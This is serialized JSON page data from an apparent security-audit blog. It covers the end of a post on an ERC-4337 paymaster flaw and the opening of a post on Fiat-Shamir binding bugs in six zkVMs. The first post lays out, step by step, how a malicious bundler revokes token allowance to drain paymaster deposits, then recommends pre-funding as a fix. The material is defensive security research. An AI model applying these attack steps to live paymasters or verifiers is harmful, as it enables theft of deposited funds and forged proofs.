",{"type":23,"tag":481,"props":104905,"children":104906},{"style":514},[104907],{"type":28,"value":2120},{"type":23,"tag":481,"props":104909,"children":104910},{"style":525},[104911],{"type":28,"value":104912}," ctx.exchangeRate) ",{"type":23,"tag":481,"props":104914,"children":104915},{"style":514},[104916],{"type":28,"value":2130},{"type":23,"tag":481,"props":104918,"children":104919},{"style":551},[104920],{"type":28,"value":104921}," 1e18",{"type":23,"tag":481,"props":104923,"children":104924},{"style":525},[104925],{"type":28,"value":528},{"type":23,"tag":481,"props":104927,"children":104928},{"class":483,"line":21008},[104929],{"type":23,"tag":481,"props":104930,"children":104931},{"emptyLinePlaceholder":15},[104932],{"type":28,"value":1210},{"type":23,"tag":481,"props":104934,"children":104935},{"class":483,"line":21043},[104936,104940,104945,104949,104953,104957,104961,104965,104969,104973,104977],{"type":23,"tag":481,"props":104937,"children":104938},{"style":535},[104939],{"type":28,"value":790},{"type":23,"tag":481,"props":104941,"children":104942},{"style":525},[104943],{"type":28,"value":104944}," (ctx.recipient ",{"type":23,"tag":481,"props":104946,"children":104947},{"style":514},[104948],{"type":28,"value":13178},{"type":23,"tag":481,"props":104950,"children":104951},{"style":943},[104952],{"type":28,"value":3727},{"type":23,"tag":481,"props":104954,"children":104955},{"style":525},[104956],{"type":28,"value":618},{"type":23,"tag":481,"props":104958,"children":104959},{"style":551},[104960],{"type":28,"value":1568},{"type":23,"tag":481,"props":104962,"children":104963},{"style":525},[104964],{"type":28,"value":598},{"type":23,"tag":481,"props":104966,"children":104967},{"style":514},[104968],{"type":28,"value":70727},{"type":23,"tag":481,"props":104970,"children":104971},{"style":525},[104972],{"type":28,"value":104894},{"type":23,"tag":481,"props":104974,"children":104975},{"style":514},[104976],{"type":28,"value":7947},{"type":23,"tag":481,"props":104978,"children":104979},{"style":525},[104980],{"type":28,"value":104981}," costInToken) {\n",{"type":23,"tag":481,"props":104983,"children":104984},{"class":483,"line":21051},[104985,104990,104994,104999,105003],{"type":23,"tag":481,"props":104986,"children":104987},{"style":525},[104988],{"type":28,"value":104989}," SafeTransferLib.",{"type":23,"tag":481,"props":104991,"children":104992},{"style":610},[104993],{"type":28,"value":101170},{"type":23,"tag":481,"props":104995,"children":104996},{"style":525},[104997],{"type":28,"value":104998},"(ctx.token, ctx.sender, ctx.recipient, preFundInToken ",{"type":23,"tag":481,"props":105000,"children":105001},{"style":514},[105002],{"type":28,"value":1876},{"type":23,"tag":481,"props":105004,"children":105005},{"style":525},[105006],{"type":28,"value":105007}," costInToken);\n",{"type":23,"tag":481,"props":105009,"children":105010},{"class":483,"line":21059},[105011],{"type":23,"tag":481,"props":105012,"children":105013},{"style":525},[105014],{"type":28,"value":870},{"type":23,"tag":481,"props":105016,"children":105017},{"class":483,"line":21068},[105018],{"type":23,"tag":481,"props":105019,"children":105020},{"emptyLinePlaceholder":15},[105021],{"type":28,"value":1210},{"type":23,"tag":481,"props":105023,"children":105024},{"class":483,"line":21110},[105025,105030,105034],{"type":23,"tag":481,"props":105026,"children":105027},{"style":535},[105028],{"type":28,"value":105029}," emit",{"type":23,"tag":481,"props":105031,"children":105032},{"style":610},[105033],{"type":28,"value":101904},{"type":23,"tag":481,"props":105035,"children":105036},{"style":525},[105037],{"type":28,"value":105038},"(ctx.userOpHash, ctx.sender, ERC20_MODE, ctx.token, costInToken, ctx.exchangeRate);\n",{"type":23,"tag":481,"props":105040,"children":105041},{"class":483,"line":21143},[105042],{"type":23,"tag":481,"props":105043,"children":105044},{"style":525},[105045],{"type":28,"value":879},{"type":23,"tag":24,"props":105047,"children":105048},{},[105049,105051,105056,105058,105064,105066,105072,105074,105079,105081,105086],{"type":28,"value":105050},"As shown above, the paymaster calculates the actual gas used and attempts to charge the user by calling ",{"type":23,"tag":64,"props":105052,"children":105054},{"className":105053},[],[105055],{"type":28,"value":101170},{"type":28,"value":105057},". Note that ",{"type":23,"tag":64,"props":105059,"children":105061},{"className":105060},[],[105062],{"type":28,"value":105063},"preFundCharged",{"type":28,"value":105065}," can be zero, as users can opt out of any ",{"type":23,"tag":64,"props":105067,"children":105069},{"className":105068},[],[105070],{"type":28,"value":105071},"preFund",{"type":28,"value":105073}," during the validation phase. If the user hasn't given sufficient allowance to Pimlico's paymaster for the transfer, the ",{"type":23,"tag":64,"props":105075,"children":105077},{"className":105076},[],[105078],{"type":28,"value":101971},{"type":28,"value":105080}," call inside ",{"type":23,"tag":64,"props":105082,"children":105084},{"className":105083},[],[105085],{"type":28,"value":103055},{"type":28,"value":105087}," will revert and the paymaster won't be able to collect payment from the user.",{"type":23,"tag":24,"props":105089,"children":105090},{},[105091,105093,105098,105100,105106,105108,105114],{"type":28,"value":105092},"However, even when ",{"type":23,"tag":64,"props":105094,"children":105096},{"className":105095},[],[105097],{"type":28,"value":101971},{"type":28,"value":105099}," fails, the EntryPoint will still complete the execution and pay the bundler who submitted it. Importantly, this payment comes from the paymaster's deposit, since during validation the ",{"type":23,"tag":64,"props":105101,"children":105103},{"className":105102},[],[105104],{"type":28,"value":105105},"requiredPrefund",{"type":28,"value":105107}," was taken from the paymaster's ",{"type":23,"tag":190,"props":105109,"children":105112},{"href":105110,"rel":105111},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L625-L627",[194],[105113],{"type":28,"value":59491},{"type":28,"value":199},{"type":23,"tag":24,"props":105116,"children":105117},{},[105118,105120,105125],{"type":28,"value":105119},"This creates a critical vulnerability for paymasters that implement post-execution charging patterns. Even if the ",{"type":23,"tag":64,"props":105121,"children":105123},{"className":105122},[],[105124],{"type":28,"value":101971},{"type":28,"value":105126}," call fails (meaning the paymaster couldn't collect payment from the user), the paymaster still has to pay the bundler's gas costs from their deposited funds. This vulnerability can be exploited by malicious bundlers in the following way:",{"type":23,"tag":73,"props":105128,"children":105129},{},[105130,105148,105167,105178,105183],{"type":23,"tag":77,"props":105131,"children":105132},{},[105133,105135,105140,105142],{"type":28,"value":105134},"The bundler creates a ",{"type":23,"tag":64,"props":105136,"children":105138},{"className":105137},[],[105139],{"type":28,"value":99714},{"type":28,"value":105141}," with an intentionally high ",{"type":23,"tag":64,"props":105143,"children":105145},{"className":105144},[],[105146],{"type":28,"value":105147},"gasPrice",{"type":23,"tag":77,"props":105149,"children":105150},{},[105151,105153,105158,105160,105165],{"type":28,"value":105152},"The bundler ensures the ",{"type":23,"tag":64,"props":105154,"children":105156},{"className":105155},[],[105157],{"type":28,"value":101971},{"type":28,"value":105159}," call will fail by revoking the paymaster's token allowance before ",{"type":23,"tag":64,"props":105161,"children":105163},{"className":105162},[],[105164],{"type":28,"value":101971},{"type":28,"value":105166}," executes",{"type":23,"tag":77,"props":105168,"children":105169},{},[105170,105171,105176],{"type":28,"value":60883},{"type":23,"tag":64,"props":105172,"children":105174},{"className":105173},[],[105175],{"type":28,"value":101971},{"type":28,"value":105177}," fails, the bundler still gets paid their high gas costs by the paymaster",{"type":23,"tag":77,"props":105179,"children":105180},{},[105181],{"type":28,"value":105182},"The paymaster loses money since they paid the bundler but couldn't collect from the user",{"type":23,"tag":77,"props":105184,"children":105185},{},[105186],{"type":28,"value":105187},"The bundler profits as long as their actual gas costs are less than what they charged",{"type":23,"tag":24,"props":105189,"children":105190},{},[105191,105193,105198,105200,105205],{"type":28,"value":105192},"This effectively allows bundlers to drain paymaster deposits by submitting ",{"type":23,"tag":64,"props":105194,"children":105196},{"className":105195},[],[105197],{"type":28,"value":99743},{"type":28,"value":105199}," designed to fail during ",{"type":23,"tag":64,"props":105201,"children":105203},{"className":105202},[],[105204],{"type":28,"value":101971},{"type":28,"value":105206}," while maximizing the gas costs they can charge to the paymaster.",{"type":23,"tag":24,"props":105208,"children":105209},{},[105210,105212,105217,105219,105224,105226,105232,105234,105239],{"type":28,"value":105211},"Some paymasters try to protect against this by simulating the ",{"type":23,"tag":64,"props":105213,"children":105215},{"className":105214},[],[105216],{"type":28,"value":99714},{"type":28,"value":105218}," execution before signing and allowing it to be submitted. However, this protection can be easily bypassed because an attacker can simply approve the required token allowance during simulation to pass validation, but then revoke the allowance just before the ",{"type":23,"tag":64,"props":105220,"children":105222},{"className":105221},[],[105223],{"type":28,"value":99714},{"type":28,"value":105225}," is submitted via ",{"type":23,"tag":64,"props":105227,"children":105229},{"className":105228},[],[105230],{"type":28,"value":105231},"handleOps",{"type":28,"value":105233},". This means the ",{"type":23,"tag":64,"props":105235,"children":105237},{"className":105236},[],[105238],{"type":28,"value":101971},{"type":28,"value":105240}," will pass simulation but fail during actual execution, allowing the bundler to drain the paymaster's deposit from the EntryPoint.",{"type":23,"tag":24,"props":105242,"children":105243},{},[105244],{"type":28,"value":105245},"To protect against this vulnerability, paymasters should implement pre-execution charging patterns rather than post-execution charging. This means requiring users to pre-fund the full estimated gas cost during the validation phase, before the operation executes. By collecting payment upfront, the paymaster is protected against failed post-execution transfers that could be exploited by malicious bundlers.",{"type":23,"tag":24,"props":105247,"children":105248},{},[105249],{"type":28,"value":105250},"If post-execution charging is absolutely necessary for UX reasons, paymasters have several mitigation strategies available. One approach is to restrict usage to a whitelist of trusted bundlers, though this introduces centralization concerns. Alternatively, Pimlico tries to address this issue by tightening API limits and constraining ERC-20 usage for its users.",{"type":23,"tag":24,"props":105252,"children":105253},{},[105254],{"type":28,"value":105255},"The most secure approach is to require upfront pre-funding, even though it may temporarily lock more user funds. This small UX tradeoff is worth the strong security guarantees it provides against paymaster exploitation.",{"type":23,"tag":32890,"props":105257,"children":105258},{"id":26445},[105259],{"type":28,"value":16443},{"type":23,"tag":24,"props":105261,"children":105262},{},[105263],{"type":28,"value":105264},"ERC-4337 paymasters enable powerful new UX patterns by abstracting away gas costs from end users. However, implementing them securely requires careful consideration of the standard's execution flow and potential attack vectors. The key lessons are:",{"type":23,"tag":73,"props":105266,"children":105267},{},[105268,105273,105278,105283,105288],{"type":23,"tag":77,"props":105269,"children":105270},{},[105271],{"type":28,"value":105272},"Always collect full payment during validation, not after execution",{"type":23,"tag":77,"props":105274,"children":105275},{},[105276],{"type":28,"value":105277},"Be conservative with gas estimations and include safety margins",{"type":23,"tag":77,"props":105279,"children":105280},{},[105281],{"type":28,"value":105282},"Carefully validate all user inputs and token transfers",{"type":23,"tag":77,"props":105284,"children":105285},{},[105286],{"type":28,"value":105287},"Test extensively, including simulation of malicious behavior",{"type":23,"tag":77,"props":105289,"children":105290},{},[105291,105293,105298],{"type":28,"value":105292},"Always review changes in new ",{"type":23,"tag":64,"props":105294,"children":105296},{"className":105295},[],[105297],{"type":28,"value":99795},{"type":28,"value":105299}," versions, as they may impact your paymaster's design and security assumptions",{"type":23,"tag":24,"props":105301,"children":105302},{},[105303,105305,105310,105312,105317,105319,105324],{"type":28,"value":105304},"The last point is particularly important as the ERC-4337 standard continues to evolve. Changes to the ",{"type":23,"tag":64,"props":105306,"children":105308},{"className":105307},[],[105309],{"type":28,"value":99795},{"type":28,"value":105311}," contract's behavior could potentially break existing ",{"type":23,"tag":64,"props":105313,"children":105315},{"className":105314},[],[105316],{"type":28,"value":99867},{"type":28,"value":105318}," implementations or introduce new security considerations. Developers should thoroughly review release notes and diffs when upgrading to new ",{"type":23,"tag":64,"props":105320,"children":105322},{"className":105321},[],[105323],{"type":28,"value":99795},{"type":28,"value":105325}," versions.",{"type":23,"tag":24,"props":105327,"children":105328},{},[105329],{"type":28,"value":105330},"By following these best practices, developers can build robust paymasters that enhance UX while protecting against exploitation. As the ERC-4337 ecosystem matures, secure paymaster implementations will be crucial for driving mainstream adoption of account abstraction.",{"type":23,"tag":24,"props":105332,"children":105333},{},[105334],{"type":28,"value":105335},"If you're building a paymaster and want to ensure it's secure against these and other vulnerabilities, consider getting an audit from us. Our team has extensive experience auditing ERC-4337 implementations and can help identify potential security issues before they impact production.",{"type":23,"tag":2918,"props":105337,"children":105338},{},[105339],{"type":28,"value":2922},{"title":7,"searchDepth":351,"depth":351,"links":105341},[105342,105343,105344,105351,105356,105357],{"id":99629,"depth":351,"text":99632},{"id":99645,"depth":351,"text":99648},{"id":99684,"depth":351,"text":99687,"children":105345},[105346,105347,105348,105349,105350],{"id":99707,"depth":531,"text":99714},{"id":99748,"depth":531,"text":99751},{"id":99774,"depth":531,"text":99777},{"id":12211,"depth":531,"text":99795},{"id":99867,"depth":531,"text":99878},{"id":99930,"depth":351,"text":105352,"children":105353},"Understanding the EntryPoint's Flow",[105354,105355],{"id":99986,"depth":531,"text":99989},{"id":100171,"depth":531,"text":100174},{"id":100414,"depth":351,"text":100420},{"id":102014,"depth":351,"text":102020,"children":105358},[105359,105360],{"id":102074,"depth":531,"text":102077},{"id":102134,"depth":531,"text":102137},"content:blog:2025-12-02-paymasters-evm.md","blog/2025-12-02-paymasters-evm.md","blog/2025-12-02-paymasters-evm",{"_path":105365,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":105366,"description":105367,"date":105368,"author":105369,"image":105372,"isFeatured":15,"onBlogPage":15,"tags":105374,"body":105376,"_type":358,"_id":121181,"_source":360,"_file":121182,"_stem":121183,"_extension":363},"/blog/2026-03-03-zkvms-unfaithful-claims","Unfaithful Claims: Breaking 6 zkVMs","A zkVM verifier should be faithful to one thing above all else: its public claims. Yet we found six systems where this guarantee breaks. Learn how a subtle ordering bug lets an attacker bypass the cryptography entirely and prove mathematically impossible statements.","2026-03-03T12:00:00.000Z",[105370,105371],"himanshu","valter",{"src":105373,"width":94800,"height":11111},"/posts/zkvms-unfaithful-claims/title.png",[105375],"zkVM",{"type":20,"children":105377,"toc":121145},[105378,105383,105425,105438,105441,105447,105452,105580,105583,105589,105595,105600,105632,105780,105785,105908,105919,105930,105953,105964,105969,106002,106010,106015,106018,106024,106029,106035,106040,106045,106053,106071,106212,106217,106223,106316,107050,107118,107129,107137,107611,107617,108056,108396,108549,108554,109442,109598,109604,109696,109701,110286,110736,110812,110818,110823,110892,110902,110918,110928,110989,111408,111440,111450,111625,111630,111640,112240,112428,112446,112449,112455,112460,112468,112500,112862,112867,112952,112955,112961,112969,112974,112977,112983,112988,112996,113004,113012,113020,113053,113061,113069,113160,113411,113738,113746,113776,113946,114272,114277,114282,114299,114302,114307,114312,114324,114336,114927,114939,114951,114958,114966,114978,114986,115001,115006,115286,115305,115400,115419,115435,115438,115444,115449,115454,115461,115469,115476,115484,115497,115515,115975,116077,116082,116087,116103,116106,116112,116117,116129,116140,116145,116535,116542,116550,116575,116595,116851,116862,116881,117265,117611,117841,118000,118160,118728,118733,118759,118762,118768,118773,118780,118788,118801,118873,118884,118892,118902,118910,118921,119195,119284,119313,119316,119321,119455,119467,119474,119479,119632,119658,119665,119673,119678,119744,119749,120139,120226,120242,120245,120251,120256,120262,120362,120421,120426,120432,120437,120445,120450,120456,120461,120466,120472,120477,120480,120486,120492,120497,120502,120507,120512,120517,120520,120526,120689,120694,120697,120702,120713,121030,121035,121059,121064,121082,121087,121090,121096,121101,121106,121116,121121,121131,121141],{"type":23,"tag":24,"props":105379,"children":105380},{},[105381],{"type":28,"value":105382},"A zkVM verifier should be faithful to one thing above all else: its public claims. If the claimed input/output statement is false, verification must fail.",{"type":23,"tag":24,"props":105384,"children":105385},{},[105386,105388,105393,105394,105399,105400,105405,105406,105411,105412,105417,105418,105423],{"type":28,"value":105387},"We found six systems where this faithfulness breaks. Across ",{"type":23,"tag":2875,"props":105389,"children":105390},{},[105391],{"type":28,"value":105392},"Jolt",{"type":28,"value":588},{"type":23,"tag":2875,"props":105395,"children":105396},{},[105397],{"type":28,"value":105398},"Nexus",{"type":28,"value":588},{"type":23,"tag":2875,"props":105401,"children":105402},{},[105403],{"type":28,"value":105404},"Cairo-M",{"type":28,"value":588},{"type":23,"tag":2875,"props":105407,"children":105408},{},[105409],{"type":28,"value":105410},"Ceno",{"type":28,"value":588},{"type":23,"tag":2875,"props":105413,"children":105414},{},[105415],{"type":28,"value":105416},"Expander",{"type":28,"value":3965},{"type":23,"tag":2875,"props":105419,"children":105420},{},[105421],{"type":28,"value":105422},"Binius64",{"type":28,"value":105424},", public-claim data was not always bound into Fiat-Shamir transcripts before challenge generation. That subtle ordering bug turns statement values into attacker-controlled variables in later verification equations.",{"type":23,"tag":24,"props":105426,"children":105427},{},[105428,105430,105436],{"type":28,"value":105429},"In this post, we demonstrate how to exploit these unbound variables to bypass the cryptography entirely and prove mathematically impossible statements, such as finding a counterexample to Fermat's Last Theorem (see ",{"type":23,"tag":190,"props":105431,"children":105433},{"href":105432},"#challenges",[105434],{"type":28,"value":105435},"Challenges",{"type":28,"value":105437}," to try this out yourself). In a blockchain context, this could translate to receiving $1M out of thin air.",{"type":23,"tag":16288,"props":105439,"children":105440},{},[],{"type":23,"tag":31,"props":105442,"children":105444},{"id":105443},"jargon-cheat-sheet",[105445],{"type":28,"value":105446},"Jargon Cheat Sheet",{"type":23,"tag":24,"props":105448,"children":105449},{},[105450],{"type":28,"value":105451},"Before we go deeper, here's a one-liner for every term you'll encounter. The ZK ecosystem is particularly full of jargon and abbreviations, which may be off-putting to newcomers. Bookmark this section.",{"type":23,"tag":14178,"props":105453,"children":105454},{},[105455,105465,105475,105485,105495,105505,105515,105525,105535,105545,105555,105565],{"type":23,"tag":77,"props":105456,"children":105457},{},[105458,105463],{"type":23,"tag":2875,"props":105459,"children":105460},{},[105461],{"type":28,"value":105462},"Fiat-Shamir",{"type":28,"value":105464},": Instead of a real verifier sending random challenges, hash everything so far to get \"random\" challenges. Makes proofs non-interactive.",{"type":23,"tag":77,"props":105466,"children":105467},{},[105468,105473],{"type":23,"tag":2875,"props":105469,"children":105470},{},[105471],{"type":28,"value":105472},"Transcript",{"type":28,"value":105474},": The running hash state. You \"absorb\" data into it, then \"squeeze\" out challenges.",{"type":23,"tag":77,"props":105476,"children":105477},{},[105478,105483],{"type":23,"tag":2875,"props":105479,"children":105480},{},[105481],{"type":28,"value":105482},"Polynomial Commitment",{"type":28,"value":105484},": Like a hash, but for polynomials. You commit to a polynomial, then later prove \"my polynomial evaluates to 42 at point 7\" without revealing the whole polynomial.",{"type":23,"tag":77,"props":105486,"children":105487},{},[105488,105493],{"type":23,"tag":2875,"props":105489,"children":105490},{},[105491],{"type":28,"value":105492},"Sumcheck",{"type":28,"value":105494},": A protocol to prove \"this polynomial sums to H over all boolean inputs\" without actually computing the exponentially many terms. Reduces to checking one random point.",{"type":23,"tag":77,"props":105496,"children":105497},{},[105498,105503],{"type":23,"tag":2875,"props":105499,"children":105500},{},[105501],{"type":28,"value":105502},"MLE (Multilinear Extension)",{"type":28,"value":105504},": Turn a table of values into a polynomial. The polynomial equals the table on 0/1 inputs and smoothly interpolates elsewhere. Key property: evaluating it is a linear function of the table entries.",{"type":23,"tag":77,"props":105506,"children":105507},{},[105508,105513],{"type":23,"tag":2875,"props":105509,"children":105510},{},[105511],{"type":28,"value":105512},"Lookup / LogUp",{"type":28,"value":105514},": Prove \"all my values appear in this table\" by encoding membership as sums of fractions. If the sums match, the sets match (with high probability).",{"type":23,"tag":77,"props":105516,"children":105517},{},[105518,105523],{"type":23,"tag":2875,"props":105519,"children":105520},{},[105521],{"type":28,"value":105522},"AIR",{"type":28,"value":105524},": \"Algebraic Intermediate Representation\" - a way to write \"valid execution trace\" as polynomial equations. If the equations hold, the trace is valid.",{"type":23,"tag":77,"props":105526,"children":105527},{},[105528,105533],{"type":23,"tag":2875,"props":105529,"children":105530},{},[105531],{"type":28,"value":105532},"STARK",{"type":28,"value":105534},": Prove AIR constraints hold using commitments + random sampling + FRI. No trusted setup needed.",{"type":23,"tag":77,"props":105536,"children":105537},{},[105538,105543],{"type":23,"tag":2875,"props":105539,"children":105540},{},[105541],{"type":28,"value":105542},"FRI",{"type":28,"value":105544},": \"Fast Reed-Solomon IOP\" - proves a committed function is actually a low-degree polynomial, not arbitrary garbage that passes spot-checks.",{"type":23,"tag":77,"props":105546,"children":105547},{},[105548,105553],{"type":23,"tag":2875,"props":105549,"children":105550},{},[105551],{"type":28,"value":105552},"OODS",{"type":28,"value":105554},": \"Out-of-Domain Sampling\" - check the constraint polynomial at a random point outside the execution domain. Ties everything together.",{"type":23,"tag":77,"props":105556,"children":105557},{},[105558,105563],{"type":23,"tag":2875,"props":105559,"children":105560},{},[105561],{"type":28,"value":105562},"GKR",{"type":28,"value":105564},": Verify arithmetic circuits layer-by-layer using sumcheck. Reduces \"check this huge circuit\" to \"check a few random evaluations.\"",{"type":23,"tag":77,"props":105566,"children":105567},{},[105568,105573,105575],{"type":23,"tag":2875,"props":105569,"children":105570},{},[105571],{"type":28,"value":105572},"claimed_sum / opening_claim",{"type":28,"value":105574},": Prover-supplied values that feed into verification equations. ",{"type":23,"tag":2875,"props":105576,"children":105577},{},[105578],{"type":28,"value":105579},"These are the usual suspects for binding bugs.",{"type":23,"tag":16288,"props":105581,"children":105582},{},[],{"type":23,"tag":31,"props":105584,"children":105586},{"id":105585},"what-are-we-even-breaking",[105587],{"type":28,"value":105588},"What Are We Even Breaking?",{"type":23,"tag":7092,"props":105590,"children":105592},{"id":105591},"what-is-a-zkvm",[105593],{"type":28,"value":105594},"What is a zkVM?",{"type":23,"tag":24,"props":105596,"children":105597},{},[105598],{"type":28,"value":105599},"A zkVM proof claims that a program executed correctly on public inputs, producing the claimed public output, while hiding the full execution trace.",{"type":23,"tag":24,"props":105601,"children":105602},{},[105603,105605,105630],{"type":28,"value":105604},"Formally, the verifier is convinced that there exists a valid trace ",{"type":23,"tag":64,"props":105606,"children":105608},{"className":105607},[1527,1528],[105609],{"type":23,"tag":481,"props":105610,"children":105612},{"className":105611},[1533],[105613],{"type":23,"tag":481,"props":105614,"children":105616},{"className":105615,"ariaHidden":1539},[1538],[105617],{"type":23,"tag":481,"props":105618,"children":105620},{"className":105619},[1544],[105621,105625],{"type":23,"tag":481,"props":105622,"children":105624},{"className":105623,"style":19081},[1549],[],{"type":23,"tag":481,"props":105626,"children":105628},{"className":105627,"style":19087},[1555,19086],[105629],{"type":28,"value":3464},{"type":28,"value":105631}," such that:",{"type":23,"tag":24,"props":105633,"children":105634},{},[105635],{"type":23,"tag":64,"props":105636,"children":105638},{"className":105637},[1527,1528],[105639],{"type":23,"tag":481,"props":105640,"children":105642},{"className":105641},[1533],[105643],{"type":23,"tag":481,"props":105644,"children":105646},{"className":105645,"ariaHidden":1539},[1538],[105647,105691,105766],{"type":23,"tag":481,"props":105648,"children":105650},{"className":105649},[1544],[105651,105655,105661,105665,105670,105674,105678,105683,105687],{"type":23,"tag":481,"props":105652,"children":105654},{"className":105653,"style":90494},[1549],[],{"type":23,"tag":481,"props":105656,"children":105658},{"className":105657},[1555],[105659],{"type":28,"value":105660},"∃",{"type":23,"tag":481,"props":105662,"children":105664},{"className":105663,"style":1734},[1636],[],{"type":23,"tag":481,"props":105666,"children":105668},{"className":105667,"style":19087},[1555,19086],[105669],{"type":28,"value":3464},{"type":23,"tag":481,"props":105671,"children":105673},{"className":105672,"style":1734},[1636],[],{"type":23,"tag":481,"props":105675,"children":105677},{"className":105676,"style":1734},[1636],[],{"type":23,"tag":481,"props":105679,"children":105681},{"className":105680},[1739],[105682],{"type":28,"value":287},{"type":23,"tag":481,"props":105684,"children":105686},{"className":105685,"style":1734},[1636],[],{"type":23,"tag":481,"props":105688,"children":105690},{"className":105689,"style":1734},[1636],[],{"type":23,"tag":481,"props":105692,"children":105694},{"className":105693},[1544],[105695,105699,105710,105715,105720,105725,105729,105734,105739,105743,105748,105753,105757,105762],{"type":23,"tag":481,"props":105696,"children":105698},{"className":105697,"style":1657},[1549],[],{"type":23,"tag":481,"props":105700,"children":105702},{"className":105701},[1555],[105703],{"type":23,"tag":481,"props":105704,"children":105707},{"className":105705},[1555,105706],"mathsf",[105708],{"type":28,"value":105709},"VM",{"type":23,"tag":481,"props":105711,"children":105713},{"className":105712},[19215],[105714],{"type":28,"value":618},{"type":23,"tag":481,"props":105716,"children":105718},{"className":105717,"style":19087},[1555,19086],[105719],{"type":28,"value":19090},{"type":23,"tag":481,"props":105721,"children":105723},{"className":105722},[1668],[105724],{"type":28,"value":1671},{"type":23,"tag":481,"props":105726,"children":105728},{"className":105727,"style":1675},[1636],[],{"type":23,"tag":481,"props":105730,"children":105732},{"className":105731,"style":92599},[1555,19086],[105733],{"type":28,"value":3610},{"type":23,"tag":481,"props":105735,"children":105737},{"className":105736},[1668],[105738],{"type":28,"value":1671},{"type":23,"tag":481,"props":105740,"children":105742},{"className":105741,"style":1675},[1636],[],{"type":23,"tag":481,"props":105744,"children":105746},{"className":105745,"style":19087},[1555,19086],[105747],{"type":28,"value":3464},{"type":23,"tag":481,"props":105749,"children":105751},{"className":105750},[19237],[105752],{"type":28,"value":642},{"type":23,"tag":481,"props":105754,"children":105756},{"className":105755,"style":1734},[1636],[],{"type":23,"tag":481,"props":105758,"children":105760},{"className":105759},[1739],[105761],{"type":28,"value":19832},{"type":23,"tag":481,"props":105763,"children":105765},{"className":105764,"style":1734},[1636],[],{"type":23,"tag":481,"props":105767,"children":105769},{"className":105768},[1544],[105770,105774],{"type":23,"tag":481,"props":105771,"children":105773},{"className":105772,"style":19081},[1549],[],{"type":23,"tag":481,"props":105775,"children":105778},{"className":105776,"style":105777},[1555,19086],"margin-right:0.22222em;",[105779],{"type":28,"value":3640},{"type":23,"tag":24,"props":105781,"children":105782},{},[105783],{"type":28,"value":105784},"where:",{"type":23,"tag":14178,"props":105786,"children":105787},{},[105788,105818,105848,105878],{"type":23,"tag":77,"props":105789,"children":105790},{},[105791,105816],{"type":23,"tag":64,"props":105792,"children":105794},{"className":105793},[1527,1528],[105795],{"type":23,"tag":481,"props":105796,"children":105798},{"className":105797},[1533],[105799],{"type":23,"tag":481,"props":105800,"children":105802},{"className":105801,"ariaHidden":1539},[1538],[105803],{"type":23,"tag":481,"props":105804,"children":105806},{"className":105805},[1544],[105807,105811],{"type":23,"tag":481,"props":105808,"children":105810},{"className":105809,"style":19081},[1549],[],{"type":23,"tag":481,"props":105812,"children":105814},{"className":105813,"style":19087},[1555,19086],[105815],{"type":28,"value":19090},{"type":28,"value":105817}," = program/circuit description (public)",{"type":23,"tag":77,"props":105819,"children":105820},{},[105821,105846],{"type":23,"tag":64,"props":105822,"children":105824},{"className":105823},[1527,1528],[105825],{"type":23,"tag":481,"props":105826,"children":105828},{"className":105827},[1533],[105829],{"type":23,"tag":481,"props":105830,"children":105832},{"className":105831,"ariaHidden":1539},[1538],[105833],{"type":23,"tag":481,"props":105834,"children":105836},{"className":105835},[1544],[105837,105841],{"type":23,"tag":481,"props":105838,"children":105840},{"className":105839,"style":19081},[1549],[],{"type":23,"tag":481,"props":105842,"children":105844},{"className":105843,"style":92599},[1555,19086],[105845],{"type":28,"value":3610},{"type":28,"value":105847}," = public input",{"type":23,"tag":77,"props":105849,"children":105850},{},[105851,105876],{"type":23,"tag":64,"props":105852,"children":105854},{"className":105853},[1527,1528],[105855],{"type":23,"tag":481,"props":105856,"children":105858},{"className":105857},[1533],[105859],{"type":23,"tag":481,"props":105860,"children":105862},{"className":105861,"ariaHidden":1539},[1538],[105863],{"type":23,"tag":481,"props":105864,"children":105866},{"className":105865},[1544],[105867,105871],{"type":23,"tag":481,"props":105868,"children":105870},{"className":105869,"style":19081},[1549],[],{"type":23,"tag":481,"props":105872,"children":105874},{"className":105873,"style":105777},[1555,19086],[105875],{"type":28,"value":3640},{"type":28,"value":105877}," = claimed public output",{"type":23,"tag":77,"props":105879,"children":105880},{},[105881,105906],{"type":23,"tag":64,"props":105882,"children":105884},{"className":105883},[1527,1528],[105885],{"type":23,"tag":481,"props":105886,"children":105888},{"className":105887},[1533],[105889],{"type":23,"tag":481,"props":105890,"children":105892},{"className":105891,"ariaHidden":1539},[1538],[105893],{"type":23,"tag":481,"props":105894,"children":105896},{"className":105895},[1544],[105897,105901],{"type":23,"tag":481,"props":105898,"children":105900},{"className":105899,"style":19081},[1549],[],{"type":23,"tag":481,"props":105902,"children":105904},{"className":105903,"style":19087},[1555,19086],[105905],{"type":28,"value":3464},{"type":28,"value":105907}," = private witness/trace (registers, memory history, intermediate values)",{"type":23,"tag":24,"props":105909,"children":105910},{},[105911,105913,105917],{"type":28,"value":105912},"The verifier does ",{"type":23,"tag":2875,"props":105914,"children":105915},{},[105916],{"type":28,"value":15983},{"type":28,"value":105918}," replay execution step by step. Instead, it checks algebraic constraints over committed polynomials.",{"type":23,"tag":24,"props":105920,"children":105921},{},[105922,105924,105929],{"type":28,"value":105923},"Some systems in this post are verifiable-computing systems rather than full zero-knowledge systems, but the critical property is still ",{"type":23,"tag":2875,"props":105925,"children":105926},{},[105927],{"type":28,"value":105928},"soundness",{"type":28,"value":287},{"type":23,"tag":14178,"props":105931,"children":105932},{},[105933,105943],{"type":23,"tag":77,"props":105934,"children":105935},{},[105936,105941],{"type":23,"tag":2875,"props":105937,"children":105938},{},[105939],{"type":28,"value":105940},"Completeness",{"type":28,"value":105942},": honest execution verifies.",{"type":23,"tag":77,"props":105944,"children":105945},{},[105946,105951],{"type":23,"tag":2875,"props":105947,"children":105948},{},[105949],{"type":28,"value":105950},"Soundness",{"type":28,"value":105952},": false execution should not verify.",{"type":23,"tag":24,"props":105954,"children":105955},{},[105956,105958,105962],{"type":28,"value":105957},"We are breaking ",{"type":23,"tag":2875,"props":105959,"children":105960},{},[105961],{"type":28,"value":105928},{"type":28,"value":105963}," in all six systems.",{"type":23,"tag":24,"props":105965,"children":105966},{},[105967],{"type":28,"value":105968},"In all six codebases, verification follows this abstract flow:",{"type":23,"tag":73,"props":105970,"children":105971},{},[105972,105977,105982,105987,105992,105997],{"type":23,"tag":77,"props":105973,"children":105974},{},[105975],{"type":28,"value":105976},"Fix public statement data.",{"type":23,"tag":77,"props":105978,"children":105979},{},[105980],{"type":28,"value":105981},"Parse proof payload (commitments, 